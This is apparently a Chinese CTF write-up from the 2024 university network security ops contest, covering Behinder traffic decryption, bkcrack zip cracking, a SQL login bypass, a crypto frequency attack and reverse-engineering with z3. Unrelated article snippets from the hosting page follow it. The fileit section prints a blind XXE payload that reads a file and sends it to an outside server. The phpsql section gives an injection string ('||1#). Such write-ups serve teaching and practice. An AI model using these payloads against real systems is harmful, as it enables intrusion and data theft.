【2024高校网络安全管理运维赛】巨细记录!
2024高校网络安全管理运维赛
文章目录
- 2024高校网络安全管理运维赛
- MISC
- 签到
- 考点:动态图片分帧提取
- easyshell
- 考点:流量分析 冰蝎3.0
- Web
- phpsql
- 考点:sql万能钥匙
- fileit
- 考点:xml注入 外带
- Crypto
- secretbit
- 考点:代码阅读理解 频率分析
- RE
- easyre
- 考点:base64换表
- babyre
- 考点:UPX脱壳,Z3求解
MISC
签到
考点:动态图片分帧提取
没啥好说的,给了一个动态的flag 所以用在线或者StegServer工具都可以分帧提取
然后按照图片所述,上cyberchef rot13解密
easyshell
考点:流量分析 冰蝎3.0
打开后过滤一下http
追踪http流
先分析一下特征,发现是冰蝎3
判断条件:参考:https://blog.csdn.net/pingan233/article/details/129168134
- Accept字段
Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2
- UserAgent字段
(这个图是在网上搜的,版权原因师傅们可以自行搜索一下网上都有)
- 长连接
到此确定为冰蝎3
然后去翻到下面看返回的数据,需要对其发送请求的内容进行解密
冰蝎3主要就两层加密如下:
AES + BASE64解密
https://blog.csdn.net/weixin_46081055/article/details/120007338
其中AES的密钥一般是默认的e45e329feb5d925b
iv全设置为0
去一点点追踪http流看看解密后内容
主要是看蓝色返回包内容
从少的开始 从后往前
AES:
注意这段非常重要
继续往上
检测到压缩包PK开头特征
提取zip 直接按右边的保存即可提取成功
两个文件 secret1 和 secret2在一个压缩包里 但是都需要密码
在往上走
其中对最后两个解密 第一个是secret2.txt
第二个是temp.zip
这和我们的提取出来的非常一致啊
就这几个信息 还能干嘛 回忆我们之前拿到一段奇怪的明文 推测这就是secret2.txt的内容 而我们的flag就是secret1的内容
那么这个压缩包已知其中一个文件内容,利用已知明文攻击,上工具bkcrack
首先构造一下文件目录 测试了
know.zip放的内容如上
构造命令:
bkcrack -C download.zip -c secret2.txt -P know.zip -p secret2.txt
其中-C表示密文(cipher),-p为明文(plaintext),明文和密文中明文的部分对应,这么说是因为上午试过了把secret.txt或者整个压缩包作为密文,然后都找不出key!
然后-C应该是指外层文件,-c应该是内层文件
拿到key后的下一步 解到新的zip文件中 并自己设置密码为happysu
bkcrack -C download.zip -k <key> -U flag.zip happysu
在flag.zip中拿下
参考:https://blog.csdn.net/Rick66Ashley/article/details/130015948
Web
phpsql
考点:sql万能钥匙
开题是一个登录界面,起初的思路是sql注入,队友试了时间盲注和布尔盲注
但是很慢也报不出来,看着解数增长的这么快,我们感觉可能是思路错了,应该是想复杂了,那就试试万能钥匙吧
下面是解题思路
首先随便测一个 可以去注册,既然出题人写了注册功能,肯定要给我们什么信息吧
注册好后,登录,可以发现需要登录一个admin用户
结合题目描述 > 你能成为管理员吗 可以确定需要作为admin用户登录
先尝试一下对用户名采用万能钥匙
败了
那么 非常新颖的思路来了!确定用户名是admin 所以对密码进行万能钥匙!
不能有空格 故输入'||1#
登录成功,直接拿下:
不过关于这题还要补充一下:其实在真实场景中对密码进行这样的sql注入是不合理> 的,毕竟绝大多网站都会把密码转md5加密后存储
fileit
考点:xml注入 外带
首先开题,就一个非常直白的界面
Ctrl+U 看一下
非常明显的提示,但是我不懂,搜一下
不是很理解 呜呜 问一下gpt
simplexml_import_dom()
函数用于将 DOM(文档对象模型)节点转换为 SimpleXML(简单 XML)节点。DOM 是一种树状结构,表示 XML 文档的完整内容,而 SimpleXML 则是 PHP 中一种简单且易于使用的 XML 解析器,允许开发者使用面向对象的方式轻松地处理 XML 数据。与 XXE(XML 外部实体注入)相关的内容是在处理 XML 数据时可能遇到的安全问题。XXE 攻击利用 XML 解析器的功能,通过向 XML 文档中插入恶意实体来获取敏感信息或执行远程代码。在 PHP 中,SimpleXML 解析器对外部实体默认是启用的,这意味着如果应用程序在处理用户提供的 XML 数据时不小心暴露了 XML 解析器,就有可能成为 XXE 攻击的目标。
此外其实看到这个函数 可以一眼定XML外部实体注入 且无回显,因为漏洞源码如下:
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
所以我们来尝试一下XML外部实体注入 界面没什么回显 就是XML外部实体注入 使用payload直接梭 注意把ip换成自己服务器的
发包内容:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
自己的服务器上接收数据:
eval.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
参考来源:http://tttang.com/archive/1716/#toc__6
其实一开始可以先读个file:///etc/passwd
测试一下
那么接下来是对浏览器抓包 这里其实当时踩坑了 因为题目环境一开始不出网 所以根本没法打 后面重启了一下才可以
抓包后修改一下请求包类型
起初content-Type是没有的
改成这样
个人踩坑:
httpd 也就是nginx没启动 没设置开机自启
启动命令
systemctl status nginx #状态 systemctl start nginx #启动
查看服务器访问日志
拿下:
Crypto
secretbit
考点:代码阅读理解 频率分析
题目:
from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdmdef instance(m, n):#随机性start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor j in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:return 0return 1def leak(m, n, times=2000):message = [instance(m, n) for _ in range(times)]return messageMAX_M = 400
MIN_M = 200
#把flag转成整形 然后再转为二进制
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []for bi in tqdm(flag_b):#对每一个二进制位操作#生成合适的tmp_m0 n0 m1 n1while True:# m = 200 - 400# n = 100 - 356tmp_m0 = randrange(MIN_M, MAX_M)tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))tmp_m1 = randrange(MIN_M, MAX_M)tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:breakchoose_m = tmp_m0 if bi == 0 else tmp_m1choose_n = tmp_n0 if bi == 0 else tmp_n1leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])#需要做的是 每一个flag的bit位都会生成一组泄露数据
# 我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n
open('data.txt', 'w').write(str(leak_message))
解题:
其中注释都是自己加的,虽然一开题还是有点懵的,但是这个题作为我这种菜鸡密码人的唯一的倔强,ai那个根本看不懂,只能来好好分析一下咯
先写一点小demo进行测试一下instance函数在干什么
首先是对于shuffle
start = list(range(10))
print(start)
shuffle(start) #直接打乱 不需要接收
print(start)
result:
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[2, 1, 4, 5, 3, 8, 0, 7, 6, 9]
这个对题目也没有什么影响,了解一下就好
下面是最关键的
我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n到底是等于哪个
所以我们把tmpm0和tmpn0 以及 tmpm1和tmpn1 都跑一遍这个leak函数 看看结果
两次结果来对比一下,哇靠,一模不一样啊 这打个集贸啊
思考思考,必须恢复,那我们要看看频率了 看看1和0的频率
针对0和1统计频率 你能想到什么!必然是求和!非常方便
可以发现频率是比较稳定的
看看另一个
其实差距还是蛮大的 所以说 判断的方法就是 两个都自己本地leak一次 得到频率 然后读取题目泄露的数据 得到真实的频率 两个自己生成的看看哪个接近 就能判断当前的bit位是谁啦
exp:
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdmdef instance(m, n):#随机性start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor j in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:return 0return 1def leak(m, n, times=2000):message = [instance(m, n) for _ in range(times)]return messagewith open('data.txt', 'r') as file:# 读取文件中的数据data = file.read()# 将读取的字符串数据转换为列表 注意这是一个三元组
leak_message = eval(data)flag_b = []
#对flag的每一个bit泄露进行操作
for bit in leak_message:m0 = bit[0][0]n0 = bit[0][1]m1 = bit[1][0]n1 = bit[1][1]res = sum(bit[2])res0 = sum(leak(m0, n0))res1 = sum(leak(m1, n1))#如果0接近if abs(res0 - res) < abs(res1 - res):flag_b.append('0')else:flag_b.append('1')print(''.join(flag_b))print(''.join(flag_b))
10min左右
拿下:
a = 0b110011001101100011000010110011101111011011101000110100001101001011100110101111100110001011100110101111101110100011010000110010101011111011100110100010101100011011100100110010101110100010111110110011000110001011000010110011101111101
b = int(a)
print(long_to_bytes(b))
#b'flag{this_1s_the_sEcret_f1ag}'
RE
easyre
考点:base64换表
开题
shift+F12 打开字符串
一眼定 base64换表
babyre
考点:UPX脱壳,Z3求解
开题一看 这么几个函数,必定加壳了
用exeinfo查一下
发现是UPX壳 用给出的命令脱壳
同样先shift+F12查看一下字符串
找到非常吸睛的flag!
显然有四个加密点,需要我们去恢复,只要恢复回来就会直接输出flag
注意我们的目的是让每个函数都返回0 避免跳转到LABEL_7
Part1:
第一部分的条件非常清晰
a1 - 0xADB1D018 == 0x36145344
Part2:
(a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == 0x902C7FF8
Part3:
a1 < 0x100000004 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))+ -3 * (~a1 | 0xA8453437)+ 3 * ~(a1 | 0xA8453437)- (-10 * (a1 & 0xA8453437)+ (a1 ^ 0xA8453437)) == 551387557
Part4:
11 * ~(a1 ^ 0xE33B67BD)+ 4 * ~(~a1 | 0xE33B67BD)- (6 * (a1 & 0xE33B67BD)+ 12 * ~(a1 | 0xE33B67BD))+ 3 * (a1 & 0xD2C7FC0C)+ -5 * a1- 2 * ~(a1 | 0xD2C7FC0C)+ ~(a1 | 0x2D3803F3)+ 4 * (a1 & 0x2D3803F3)- -2 * (a1 | 0x2D3803F3) == 0xCE1066DC
注意上面的a1不一定是最终的a4 因为参数不一样
使用z3求解器
from z3 import *
s = Solver()
a4 = BitVec("a4", 32)
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
s.add( a1 - 0xADB1D018 == 0x36145344)
s.add( (a2 | 0x8E03BEC3) - 3 * (a2 & 0x71FC413C) + a2 == -1876131848 )
s.add( 4 * ((~a3 & 0xA8453437) + 2 * ~(~a3 | 0xA8453437)) + -3 * (~a3 | 0xA8453437) + 3 * ~(a3 | 0xA8453437) - (-10 * (a3 & 0xA8453437) + (a3 ^ 0xA8453437)) == 551387557 )
s.add(11 * ~(a4 ^ 0xE33B67BD) + 4 * ~(~a4 | 0xE33B67BD) - (6 * (a4 & 0xE33B67BD) + 12 * ~(a4 | 0xE33B67BD)) + 3 * (a1 & 0xD2C7FC0C) + -5 * a1 - 2 * ~(a1 | 0xD2C7FC0C) + ~(a1 | 0x2D3803F3) + 4 * (a1 & 0x2D3803F3) - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC)if s.check() == sat:print(s.model())
else:print("???? ERROR")
直接梭了
result:
[a3 = 78769651,a4 = 2341511158,a2 = 98124621,a1 = 3821413212]
拿下:flag{e3c6235c-05d9434d-04b1edf3-8b909ff6}
相关文章:

【2024高校网络安全管理运维赛】巨细记录!
2024高校网络安全管理运维赛 文章目录 2024高校网络安全管理运维赛MISC签到考点:动态图片分帧提取 easyshell考点:流量分析 冰蝎3.0 Webphpsql考点:sql万能钥匙 fileit考点:xml注入 外带 Cryptosecretbit考点:代码阅读…...
Nuxt.js实战:Vue.js的服务器端渲染框架
创建Nuxt.js项目 首先,确保你已经安装了Node.js和yarn或npm。然后,通过命令行创建一个新的Nuxt.js项目: yarn create nuxt-app my-nuxt-project cd my-nuxt-project在创建过程中,你可以选择是否需要UI框架、预处理器等选项&…...

提高Rust安装与更新的速度
一、背景 因为rust安装过程中,默认的下载服务器为crates.io,这是一个国外的服务器,国内用户使用时,下载与更新的速度非常慢,因此,我们需要使用一个国内的服务器来提高下载与更新的速度。 本文推荐使用字节…...
【linux软件基础知识】内核代码中的就绪队列简化示例
在内核代码中,就绪队列通常使用允许高效插入和删除进程的数据结构来表示。 用于表示就绪队列的一种常见数据结构是链表。 以下是如何使用链表在内核代码中表示就绪队列的简化示例: struct task_struct {// Process control block (PCB) fields// ...struct task_struct *nex…...

《C++学习笔记---初阶篇6》---string类 上
目录 1. 为什么要学习string类 1.1 C语言中的字符串 2. 标准库中的string类 2.1 string类(了解) 2.2 string类的常用接口说明 2.2.1. string类对象的常见构造 2.2.2. string类对象的容量操作 2.2.3.再次探讨reserve与resize 2.2.4.string类对象的访问及遍历操作 2.2.5…...

mysql中的页和行
页 行即表中的真实行,‘行式数据库’的由来 虽然MySQL的数据文件(例如.ibd文件)中的数据页在物理上是通过链表连接的,但是在逻辑上,MySQL使用B树来组织和访问数据。 行:主要是dynamic类型...
Vim常用快捷键
这个是我的草稿本记录一下防止丢失,以后有时间进行整理 0 或功能键[Home]这是数字『 0 』:移动到这一行的最前面字符处 (常用)$ 或功能键[End]移动到这一行的最后面字符处(常用)G移动到这个档案的最后一行(常用)nGn 为数字。移动到这个档案的第 n 行。例…...
力扣题目汇总分析 利用树形DP解决问题
树里 任意两个节点之间的问题。而不是根节点到叶子节点的问题或者是父节点到子节点的问题。通通一个套路,即利用543的解题思路。 543.二叉树的直径 分析 明确:二叉树的 直径 是指树中任意两个节点之间最长路径的 长度。两个节点之间的最长路径是他们之…...

GO语言核心30讲 实战与应用 (第二部分)
原站地址:Go语言核心36讲_Golang_Go语言-极客时间 一、sync.WaitGroup和sync.Once 1. sync.WaitGroup 比通道更加适合实现一对多的 goroutine 协作流程。 2. WaitGroup类型有三个指针方法:Wait、Add和Done,以及内部有一个计数器。 (1) Wa…...
linux设置挂载指定的usb,自动挂载
一、设置指定的USB 在Linux系统中,如果您只想让系统挂载特定的USB设备,而忽略其他的USB设备,可以通过创建自定义的udev规则来实现。以下是设置系统只能挂载指定USB设备的基本步骤: 确定USB设备的属性: 首先࿰…...
简站WordPress主题
简站WordPress主题是一种专为建立网站而设计的WordPress模板,它旨在简化网站建设过程,使得用户能够更容易地创建和管理自己的网站。简站WordPress主题具有以下特点: 易用性:简站WordPress主题被设计为简单易用,适合各…...
is和==的关系
Python中is和的关系 is判断两个变量是不是指的是同一个内存地址,也就是通过id()函数判断 判断两个变量的值是不是相同 a [1, 2, 3, 4] b [1, 2, 3, 4] print(id(a)) # 2298268712768 print(id(b)) # 2298269716992 print(a is b) # False print(a b) # Tr…...

璩静是为了薅百度羊毛
关注卢松松,会经常给你分享一些我的经验和观点。 百度副总裁璩静离职了,网传她的年薪是1500万,而璩静在4月24日注册了一个文化传媒公司,大家都认为璩静是在为离职做准备。但松松我认为不是。 我认为:璩静成立新公司是…...

Element ui input 限制只能输入数字,且只能有两位小数
<el-form-item label"整体进度:" prop"number"> <el-input v-model"formInline.number" input"handleInput" placeholder"百分比" clearable></el-input>% </el-form-item&g…...

吃掉 N 个橘子的最少天数
代码实现: 方法一:递归——超时 #define min(a, b) ((a) > (b) ? (b) : (a))int minDays(int n) {if (n 1 || n 2) {return n;}if (n % 3 0) {if (n % 2 0) {return min(min(minDays(n - 1), minDays(n / 2)), minDays(n - 2 * (n / 3))) 1;} e…...
JavaScript 之 toString()方法详解
一、前言: 在 JavaScript 中,toString() 方法是很多数据类型内置的方法,它被用于将特定的数据类型转换为字符串。但是在不同的数据类型中的作用并非完全相同,下面就来详细讲解一下 toString() 方法在各种数据类型中的使用和作用…...

PPMP_char3
PMPP char3 – Multidimensional grids and data 五一过后,有些工作要赶,抽出时间更新一下。这一章基本都熟练掌握,在做习题过程中有一些思考。这里涉及到了一点点GEMM(矩阵乘),GEMM有太多可深挖的了&a…...
VulkanSDK Demos vkcube 编译失败
操作系统: Windows 11 23H2 Vulkan 版本: 1.3.2.280.0 Visual Studio 版本: 2022 在VulkanSDK/Demos目录下存在一个demo solution,其中包含两个project, vkcube和vkcubepp,两个分别为C语言和C写的示例程序, 但是直接编译这两个project时会编译失败,报了以下错误: fatal err…...

(二)Jetpack Compose 布局模型
前文回顾 (一)Jetpack Compose 从入门到会写-CSDN博客 首先让我们回顾一下上一篇文章中里提到过几个问题: ComposeView的层级关系,互相嵌套存在的问题? 为什么Compose可以实现只测量一次? ComposeView和…...
【Oracle impdp导入dmp文件(windows)】
Oracle impdp导入dmp文件(windows) 1、连接数据库2、创建与导出的模式相同名称的用户WIRELESS2,并赋予权限3、创建directory 的物理目录f:\radio\dmp,并把.dmp文件放进去4、连接新用户WIRELESS25、创建表空间的物理目录F:\radio\t…...

Linux 文件类型,目录与路径,文件与目录管理
文件类型 后面的字符表示文件类型标志 普通文件:-(纯文本文件,二进制文件,数据格式文件) 如文本文件、图片、程序文件等。 目录文件:d(directory) 用来存放其他文件或子目录。 设备…...

Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

IT供电系统绝缘监测及故障定位解决方案
随着新能源的快速发展,光伏电站、储能系统及充电设备已广泛应用于现代能源网络。在光伏领域,IT供电系统凭借其持续供电性好、安全性高等优势成为光伏首选,但在长期运行中,例如老化、潮湿、隐裂、机械损伤等问题会影响光伏板绝缘层…...

3-11单元格区域边界定位(End属性)学习笔记
返回一个Range 对象,只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意:它移动的位置必须是相连的有内容的单元格…...
ip子接口配置及删除
配置永久生效的子接口,2个IP 都可以登录你这一台服务器。重启不失效。 永久的 [应用] vi /etc/sysconfig/network-scripts/ifcfg-eth0修改文件内内容 TYPE"Ethernet" BOOTPROTO"none" NAME"eth0" DEVICE"eth0" ONBOOT&q…...
08. C#入门系列【类的基本概念】:开启编程世界的奇妙冒险
C#入门系列【类的基本概念】:开启编程世界的奇妙冒险 嘿,各位编程小白探险家!欢迎来到 C# 的奇幻大陆!今天咱们要深入探索这片大陆上至关重要的 “建筑”—— 类!别害怕,跟着我,保准让你轻松搞…...

华为OD机试-最短木板长度-二分法(A卷,100分)
此题是一个最大化最小值的典型例题, 因为搜索范围是有界的,上界最大木板长度补充的全部木料长度,下界最小木板长度; 即left0,right10^6; 我们可以设置一个候选值x(mid),将木板的长度全部都补充到x,如果成功…...

AxureRP-Pro-Beta-Setup_114413.exe (6.0.0.2887)
Name:3ddown Serial:FiCGEezgdGoYILo8U/2MFyCWj0jZoJc/sziRRj2/ENvtEq7w1RH97k5MWctqVHA 注册用户名:Axure 序列号:8t3Yk/zu4cX601/seX6wBZgYRVj/lkC2PICCdO4sFKCCLx8mcCnccoylVb40lP...

Linux操作系统共享Windows操作系统的文件
目录 一、共享文件 二、挂载 一、共享文件 点击虚拟机选项-设置 点击选项,设置文件夹共享为总是启用,点击添加,可添加需要共享的文件夹 查询是否共享成功 ls /mnt/hgfs 如果显示Download(这是我共享的文件夹)&…...
用js实现常见排序算法
以下是几种常见排序算法的 JS实现,包括选择排序、冒泡排序、插入排序、快速排序和归并排序,以及每种算法的特点和复杂度分析 1. 选择排序(Selection Sort) 核心思想:每次从未排序部分选择最小元素,与未排…...